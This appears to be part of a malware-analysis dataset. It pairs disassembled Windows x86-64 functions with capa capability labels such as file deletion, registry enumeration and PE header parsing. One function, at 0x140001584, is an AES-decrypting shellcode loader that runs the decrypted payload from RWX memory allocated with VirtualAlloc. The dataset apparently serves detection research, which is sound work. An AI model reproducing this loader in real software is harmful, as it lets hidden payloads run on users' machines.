joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14004f8a0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x230
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.1400060e0
lea rcx, [rsp + 0x20]
call fcn.140025cd8
xor esi, esi
mov edi, 0x5c
test rax, rax
je 0x14004f8e7
cmp word [rsp + rax*2 + 0x1e], di
jne 0x14004f8e7
mov word [rsp + rax*2 + 0x1e], si
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14004f972
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14004f917
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14004f91c
mov al, 1
jmp 0x14004f978
cmp eax, 3
jne 0x14004f976
lea rcx, [rsp + 0x20]
call fcn.140005be8
mov edx, edi
mov rcx, rax
mov rbx, rax
call fcn.14002785c
mov rcx, rbx
test rax, rax
jne 0x14004f942
call fcn.140025bf0
jmp 0x14004f976
mov word [rax], si
call fcn.14004f8a0
mov rcx, rbx
mov dil, al
call fcn.140025bf0
test dil, dil
je 0x14004f96d
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne dil
mov al, dil
jmp 0x14004f978
test al, 0x10
jne 0x14004f913
xor al, al
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14004f990
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x5a0]
sub rsp, 0x6a0
lea rdx, [rsp + 0x30]
xor ebx, ebx
mov r14b, bl
call fcn.140005c38
lea rcx, [rsp + 0x30]
call fcn.140050c10
test al, al
je 0x14004f9db
lea rdx, [0x1400c6fe8]
lea rcx, [rsp + 0x30]
call fcn.140025cf4
lea r8, [rbp + 0x390]
lea rdx, [rbp + 0x5c8]
lea rcx, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
call fcn.140026ef0
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov sil, 1
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14004fa87
cmp sil, 1
jne 0x14004fa87
test byte [rbp + 0x140], 0x10
jne 0x14004fa6e
lea rdx, [rbp + 0x5c8]
lea rcx, [rsp + 0x30]
mov r14b, sil
call fcn.140025d20
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x30]
call fcn.140025cf4
lea rdx, [rbp + 0x16c]
lea rcx, [rsp + 0x30]
call fcn.140025cf4
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
jne 0x14004fa8a
lea rdx, [rbp + 0x140]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14004fa19
mov sil, bl
jmp 0x14004fa19
mov bl, r14b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r11, [rsp + 0x6a0]
mov al, bl
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400573a8
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x230
mov rbx, rdx
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [0x1400c71e8]
lea rcx, [rsp + 0x20]
mov r9, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
add rsp, 0x230
pop rbx
ret

Function at 0x1400580c4
Capabilities:
Create directory
Delete directory

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rax - 0x9a8]
sub rsp, 0xa90
mov sil, r9b
mov rdi, r8
mov rcx, rdx
lea r9, [rsp + 0x40]
lea r8, [rbp + 0x780]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor r14d, r14d
test eax, eax
jne 0x140058113
xor eax, eax
jmp 0x140058253
lea r8, [rbp + 0x780]
lea rdx, [0x1400c7610]
lea rcx, [rsp + 0x50]
call fcn.140026904
lea rcx, [rsp + 0x50]
call fcn.140025cd8
mov rbx, rax
cmp word [rsp + rax*2 + 0x4e], 0x5c
jne 0x14005814e
cmp word [rsp + rax*2 + 0x4c], 0x3a
je 0x14005814e
mov word [rsp + rax*2 + 0x4e], r14w
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140058162
test sil, sil
je 0x14005810c
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400581a2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x14005810c
lea rcx, [rbp + 0x160]
xor edx, edx
mov r8d, 0x618
call fcn.140025d50
add bx, bx
lea rdx, [rsp + 0x50]
mov word [rbp + 0x16a], bx
lea rcx, [rbp + 0x170]
add bx, 2
mov r8d, 0x104
mov dword [rbp + 0x160], 0xa0000003
mov word [rbp + 0x16c], bx
call fcn.140027270
movzx eax, word [rbp + 0x16a]
mov qword [rsp + 0x38], r14
add ax, 0xc
lea r8, [rbp + 0x160]
mov edx, 0x900a4
movzx r9d, ax
mov word [rbp + 0x164], ax
lea rax, [rbp + 0x9b0]
mov qword [rsp + 0x30], rax
add r9d, 8
mov rcx, rsi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rsi
test eax, eax
jne 0x140058248
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140058194
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
xor eax, eax
add rsp, 0x38
ret

Function at 0x14000192c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001976
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001976
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001976
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001976
cmp dword [rcx + 0x84], 0xe
jbe 0x140001976
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001978
xor al, al
add rsp, 0x28
ret
Function at 0x1000097c8
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rax, [0x1000021f0]
xor esi, esi
mov rbx, rcx
mov qword [rcx], rax
lea rax, [0x100002258]
mov dword [rcx + 0x18], 1
mov qword [rcx + 8], rax
lea rax, [0x100002278]
mov qword [rcx + 0x10], rax
mov rcx, qword [rcx + 0x38]
mov eax, esi
cmp rcx, rsi
je 0x100009814
cmp word [rcx], si
setne al
cmp al, sil
je 0x100009828
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbx + 0x38]
call fcn.10000e1f8
lea rcx, [0x1000119e0]
call fcn.10000d0c0
lea rcx, [rbx + 0x38]
call fcn.10000e1f8
mov rcx, qword [rbx + 0x30]
cmp rcx, rsi
je 0x10000984c
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx + 0x28]
cmp rcx, rsi
je 0x10000985b
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rbx
call sub.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x10000aa70
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x100011100]
xor rax, rsp
mov qword [rsp + 0x270], rax
and qword [rsp + 0x48], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x60], 0
mov rdi, rcx
mov rcx, qword [rcx]
lea rax, [rsp + 0x60]
mov r9d, 0x2001f
xor r8d, r8d
mov rsi, rdx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x10000ab74
test rcx, rcx
je 0x10000aaea
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
test ebx, ebx
mov qword [rsp + 0x48], rcx
jmp 0x10000ab10
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.10000aa70
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x10000ab74
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor edx, edx
mov dword [rsp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x10000aaf8
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x10000ab62
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x48], 0
mov rdx, rsi
mov rcx, rdi
call fcn.10000a9c0
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x10000ab7f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.10000ed30
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x10000de68
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x100011af8]
test rcx, rcx
jne 0x10000de8e
call fcn.10000df1c
test eax, eax
je 0x10000deb5
mov rcx, qword [0x100011af8]
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
test rax, rax
jne 0x10000df09
mov edx, 0x1000
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x10000deb9
xor eax, eax
jmp 0x10000df09
mov eax, dword [rax]
mov rcx, qword [0x100011af8]
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov rdi, rax
test rax, rax
je 0x10000dee6
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rdi
jmp 0x10000df09
lea rdi, [rbx + 0xfe0]
mov rcx, qword [0x100011af8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add rbx, 0x20
cmp rbx, rdi
jb 0x10000deed
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x10000e010
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x100011100]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x110
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x20]
mov dword [0x100011b08], 1
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10000e08f
cmp dword [rsp + 0x24], 5
jb 0x10000e06f
cmp dword [rsp + 0x28], 1
jae 0x10000e076
cmp dword [rsp + 0x24], 6
jb 0x10000e08f
mov eax, dword [0x100011300]
cmp dword [rsp + 0x30], 2
mov ecx, 0x7f
cmove eax, ecx
mov dword [0x100011300], eax
mov rax, rbx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.10000ed30
add rsp, 0x150
pop rbx
ret
Function at 0x10000e42c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov rbp, rdx
mov rdi, rcx
call fcn.10000e1f8
xor r12d, r12d
cmp rbp, r12
jne 0x10000e45b
mov eax, 0x80070057
jmp 0x10000e58d
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x78]
lea rdx, [0x100002038]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rcx, rbp
mov ebx, 0x80070057
mov dword [rsp + 0x78], r12d
mov dword [rsp + 0x68], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, r12d
jne 0x10000e58b
mov eax, dword [rsp + 0x78]
cmp eax, 1
je 0x10000e4b1
cmp eax, 2
je 0x10000e4b1
cmp eax, 7
jne 0x10000e58b
mov edx, dword [rsp + 0x68]
shr edx, 1
test byte [rdi + 0xc], 0x20
mov dword [rsp + 0x68], edx
je 0x10000e515
cmp edx, dword [rdi + 8]
mov rcx, rbp
cmovae edx, dword [rdi + 8]
xor r9d, r9d
xor r8d, r8d
lea eax, [rdx + rdx]
mov dword [rsp + 0x68], edx
lea rdx, [0x100002038]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rdi]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [rdi + 8], r12d
jle 0x10000e50e
movsxd rdx, dword [rdi + 8]
mov rcx, qword [rdi]
mov word [rcx + rdx*2 - 2], r12w
cmp eax, r12d
jne 0x10000e58b
jmp 0x10000e575
mov rcx, rdi
call fcn.10000e6f0
mov rsi, rax
mov qword [rsp + 0x38], rax
cmp rax, r12
je 0x10000e58b
mov ecx, dword [rsp + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [0x100002038]
add ecx, ecx
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov dword [rsp + 0x30], ecx
mov rcx, rbp
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
cmp eax, r12d
je 0x10000e56d
lea rdx, [rsp + 0x38]
call fcn.10000e79c
jmp 0x10000e58b
mov rdx, rsi
call fcn.10000e7d4
cmp dword [rsp + 0x78], 2
je 0x10000e581
mov ebx, r12d
jmp 0x10000e58b
mov rcx, rdi
call fcn.10000e5a8
mov ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r12
pop rdi
pop rsi
ret
Function at 0x10000e5a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx]
xor ebp, ebp
xor r8d, r8d
xor edx, edx
mov rsi, rbp
mov qword [rax + 0x10], rbp
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, eax
cmp eax, ebp
je 0x10000e6ac
mov edx, eax
mov rcx, rdi
call fcn.10000e6f0
mov rsi, rax
mov qword [rsp + 0x38], rax
cmp rax, rbp
je 0x10000e6a5
mov rcx, qword [rdi]
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, ebp
je 0x10000e6ac
test byte [rdi + 0xc], 0x20
je 0x10000e685
movsxd rcx, dword [rdi + 8]
mov rdx, qword [rdi]
mov ebx, ebp
cmp rcx, rbp
je 0x10000e62f
cmp rcx, 0x7fffffff
jbe 0x10000e634
mov ebx, 0x80070057
cmp ebx, ebp
jl 0x10000e6c0
mov ebx, ebp
cmp rcx, rbp
je 0x10000e677
mov r8d, 0x7ffffffe
mov r9, rsi
sub r8, rcx
sub r9, rdx
lea rax, [r8 + rcx]
cmp rax, rbp
je 0x10000e672
movzx eax, word [r9 + rdx]
cmp ax, bp
je 0x10000e672
mov word [rdx], ax
add rdx, 2
sub rcx, 1
jne 0x10000e652
cmp rcx, rbp
jne 0x10000e680
sub rdx, 2
mov ebx, 0x8007007a
mov word [rdx], bp
jmp 0x10000e6c0
mov rcx, rdi
call fcn.10000e1f8
mov eax, 0xff8f
mov qword [rdi], rsi
and word [rdi + 0xc], ax
mov rsi, rbp
mov qword [rsp + 0x38], rbp
mov ebx, ebp
jmp 0x10000e6c0
mov ebx, 0x8007000e
jmp 0x10000e6c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
cmp eax, ebp
cmovle ebx, eax
cmp rsi, rbp
je 0x10000e6d2
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.10000e79c
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x10000ed30
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100011100]
jne 0x10000ed4b
rol rcx, 0x10
test cx, 0xffff
jne 0x10000ed47
ret 0
ror rcx, 0x10
jmp 0x10000f060
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100011490]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x100011588]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10000f0e5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100011490]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x10000f107
mov rax, qword [rsp + 0x88]
mov qword [0x100011588], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x100011528], rax
mov rax, qword [0x100011588]
mov qword [0x100011400], rax
mov rax, qword [rsp + 0x90]
mov qword [0x100011510], rax
mov dword [0x1000113f0], 0xc0000409
mov dword [0x1000113f4], 1
mov rax, qword [0x100011100]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100011108]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x100001720]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x10000eefc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x10000ef49
cmp rcx, 0xffffffffffffffff
je 0x10000ef49
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000ef41
cmp dword [rcx + 0x3c], edx
jl 0x10000ef41
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000ef41
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x10000ef49
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000b9c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000b9d0]
mov dword [rax], 1
mov rax, qword [0x14000b9e0]
mov dword [rax], 1
mov rax, qword [0x14000b960]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000b9b0]
mov dword [0x14000f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000ba90]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000ba70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000b910]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call dbg.__main
movabs rax, 0xbe71ca1510eb3d60
movabs rdx, 0x81777d85f0ae732b
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xd708613b072c351f
movabs rdx, 0xf4df1409a310982d
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x706050403020100
movabs rdx, 0xf0e0d0c0b0a0908
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call sym.AES_init_ctx_iv
lea rax, [rbp - 0x60]
mov r8d, 0x380
lea rdx, [0x14000a020]
mov rcx, rax
call sym.AES_CBC_decrypt_buffer
mov dword [rbp + 0xdc], 0
jmp 0x140001671
mov eax, dword [rbp + 0xdc]
cdqe
lea rdx, [0x14000a020]
movzx eax, byte [rax + rdx]
movzx eax, al
mov edx, eax
lea rax, str.0x_2x_
mov rcx, rax
call sym.printf
add dword [rbp + 0xdc], 1
mov eax, dword [rbp + 0xdc]
cmp eax, 0x37f
jbe 0x140001643
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x380
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
lea rdx, [0x14000a020]
mov ecx, 0x380
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0xd0]
call rax
mov rax, qword [rbp + 0xd0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
nop
add rsp, 0x160
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001ae6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov eax, ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov byte [rbp + 0x10], al
mov byte [rbp - 1], 0
jmp 0x140001b7f
mov byte [rbp - 2], 0
jmp 0x140001b75
movzx eax, byte [rbp - 1]
movzx edx, byte [rbp - 2]
mov rcx, qword [rbp + 0x18]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx r8d, byte [rax]
movzx eax, byte [rbp + 0x10]
lea edx, [rax*4]
movzx eax, byte [rbp - 1]
add eax, edx
lea edx, [rax*4]
movzx eax, byte [rbp - 2]
add eax, edx
movsxd rdx, eax
mov rax, qword [rbp + 0x20]
add rax, rdx
movzx edx, byte [rax]
movzx eax, byte [rbp - 1]
movzx ecx, byte [rbp - 2]
xor edx, r8d
mov r8, qword [rbp + 0x18]
movsxd rcx, ecx
cdqe
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001b07
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140001b01
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140001b91
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x140001c04
mov byte [rbp - 2], 0
jmp 0x140001bfa
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, str.cw
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x140001ba9
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x140001ba3
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x1400026bd
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0
jmp 0x140002730
mov byte [rbp - 2], 0
jmp 0x140002726
movzx eax, byte [rbp - 2]
movzx edx, byte [rbp - 1]
mov rcx, qword [rbp + 0x10]
movsxd rdx, edx
cdqe
shl rax, 2
add rax, rcx
add rax, rdx
movzx eax, byte [rax]
movzx eax, al
movzx r9d, byte [rbp - 2]
movzx ecx, byte [rbp - 1]
cdqe
lea rdx, [0x14000b120]
movzx edx, byte [rax + rdx]
mov r8, qword [rbp + 0x10]
movsxd rcx, ecx
movsxd rax, r9d
shl rax, 2
add rax, r8
add rax, rcx
mov byte [rax], dl
add byte [rbp - 2], 1
cmp byte [rbp - 2], 3
jbe 0x1400026d5
add byte [rbp - 1], 1
cmp byte [rbp - 1], 3
jbe 0x1400026cf
nop
nop
add rsp, 0x10
pop rbp
ret

Function at 0x140002983
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov byte [rbp - 1], 0
jmp 0x1400029cc
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx r8d, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x18]
add rax, rdx
movzx ecx, byte [rax]
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add byte [rbp - 1], 1
cmp byte [rbp - 1], 0xf
jbe 0x140002999
nop
nop
add rsp, 0x10
pop rbp
ret